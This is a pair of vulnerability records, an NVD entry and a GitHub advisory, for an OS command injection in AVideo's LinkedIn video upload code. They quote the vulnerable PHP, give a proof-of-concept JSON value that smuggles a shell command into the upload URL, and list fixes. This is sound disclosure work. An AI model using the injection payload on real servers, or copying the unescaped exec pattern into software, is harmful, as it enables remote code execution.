{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E",
              "versionEndExcluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, the `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn\u0027s API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user. Version 26.0 contains a fix for the issue."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 26.0, el m\u00e9todo \u0027uploadVideoToLinkedIn()\u0027 en el plugin SocialMediaPublisher construye un comando de shell interpolando directamente una URL de carga recibida de la respuesta de la API de LinkedIn, sin sanitizaci\u00f3n a trav\u00e9s de \u0027escapeshellarg()\u0027. Si un atacante puede influir en la respuesta de la API de LinkedIn (a trav\u00e9s de MitM, un token OAuth comprometido o un compromiso de la API), puede inyectar comandos arbitrarios del sistema operativo que se ejecutan como el usuario del servidor web. La versi\u00f3n 26.0 contiene una soluci\u00f3n para el problema."
    }
  ],
  "id": "CVE-2026-33319",
  "lastModified": "2026-03-24T19:07:50.050",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 0.7,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-22T17:17:09.573",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/67d932eb05e1bc9b36796f73ff4f9fb47590598b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w5ff-2mjc-4phc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:45:38Z",
    "nvd_published_at": "2026-03-22T17:17:09Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn\u0027s API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.\n\n## Details\n\nThe vulnerability exists in `plugin/SocialMediaPublisher/Objects/SocialUploader.php`.\n\nThe `initializeLinkedInUploadSession()` method (line 649) sends a POST request to `https://api.linkedin.com/rest/videos?action=initializeUpload` and parses the JSON response at line 693:\n\n```php\n// SocialUploader.php:693\n$responseArray = json_decode($response, true);\n```\n\nThe parsed `uploadInstructions` array is iterated at line 532, and each `uploadUrl` is passed to `uploadVideoToLinkedIn()` at line 542:\n\n```php\n// SocialUploader.php:542\n$uploadResponse = self::uploadVideoToLinkedIn($instruction[\u0027uploadUrl\u0027], $tmpFile);\n```\n\nThe `uploadVideoToLinkedIn()` method (line 711) constructs a shell command by directly concatenating both `$uploadUrl` and `$filePath` into a string passed to `exec()`:\n\n```php\n// SocialUploader.php:713-720\n$shellCmd = \u0027curl -v -H \"Content-Type:application/octet-stream\" --upload-file \"\u0027 .\n    $filePath . \u0027\" \"\u0027 .\n    $uploadUrl . \u0027\" 2\u003e\u00261\u0027;\n\n_error_log(\"Upload Video Shell Command:\\n\" . $shellCmd);\n\nexec($shellCmd, $o);\n```\n\nNeither `$uploadUrl` nor `$filePath` is sanitized with `escapeshellarg()`. A malicious URL such as `https://uploads.linkedin.local\" ; id ; echo \"` would break out of the quoted string and execute arbitrary commands.\n\nThe `$uploadUrl` originates from LinkedIn\u0027s API response \u2014 a trusted third-party source over HTTPS \u2014 so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.\n\n## PoC\n\nThis vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:\n\n**Step 1:** Set up a proxy that intercepts the LinkedIn API response and replaces the `uploadUrl` field:\n\n```json\n{\n  \"value\": {\n    \"uploadInstructions\": [\n      {\n        \"uploadUrl\": \"https://example.com\\\" ; id \u003e /tmp/pwned ; echo \\\"\",\n        \"firstByte\": 0,\n        \"lastByte\": 1024\n      }\n    ],\n    \"uploadToken\": \"token123\",\n    \"video\": \"urn:li:video:123\"\n  }\n}\n```\n\n**Step 2:** The resulting shell command becomes:\n\n```bash\ncurl -v -H \"Content-Type:application/octet-stream\" --upload-file \"/tmp/tmpfile\" \"https://uploads.linkedin.local\" ; id \u003e /tmp/pwned ; echo \"\" 2\u003e\u00261\n```\n\n**Step 3:** The `id` command executes as the web server user, writing output to `/tmp/pwned`.\n\n**Step 4:** Verify:\n\n```bash\ncat /tmp/pwned\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (`www-data`).\n- **Confidentiality:** Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.\n- **Integrity:** Ability to modify application files, inject backdoors, or alter database records.\n- **Practical risk is low** due to the high attack complexity \u2014 exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.\n\n## Recommended Fix\n\nSanitize both `$uploadUrl` and `$filePath` with `escapeshellarg()` before interpolation into the shell command. Alternatively, replace the `exec()` call with PHP\u0027s native cURL functions (which are already used elsewhere in the same class):\n\n**Option 1 \u2014 Minimal fix with `escapeshellarg()`:**\n\n```php\n// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n    $shellCmd = \u0027curl -v -H \"Content-Type:application/octet-stream\" --upload-file \u0027 .\n        escapeshellarg($filePath) . \u0027 \u0027 .\n        escapeshellarg($uploadUrl) . \u0027 2\u003e\u00261\u0027;\n```\n\n**Option 2 \u2014 Replace shell exec with native PHP cURL (preferred):**\n\n```php\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $uploadUrl);\n    curl_setopt($ch, CURLOPT_HTTPHEADER, [\u0027Content-Type: application/octet-stream\u0027]);\n    curl_setopt($ch, CURLOPT_PUT, true);\n    curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, \u0027r\u0027));\n    curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n    curl_setopt($ch, CURLOPT_HEADER, true);\n    curl_setopt($ch, CURLOPT_VERBOSE, true);\n\n    $response = curl_exec($ch);\n    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\n    $headers = substr($response, 0, $headerSize);\n    curl_close($ch);\n\n    // Extract ETag from response headers\n    $matches = [];\n    preg_match(\u0027/(etag:)(\\s?)(.*)(\\n)/i\u0027, $headers, $matches);\n    $etag = isset($matches[3]) ? trim($matches[3]) : null;\n\n    // ... rest of function\n}\n```\n\nOption 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in `initializeLinkedInUploadSession()` on line 664.",
  "id": "GHSA-w5ff-2mjc-4phc",
  "modified": "2026-03-25T18:33:51Z",
  "published": "2026-03-19T12:45:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w5ff-2mjc-4phc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/67d932eb05e1bc9b36796f73ff4f9fb47590598b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an OS Command Injection via Unescaped URL in LinkedIn Video Upload Shell Command"
}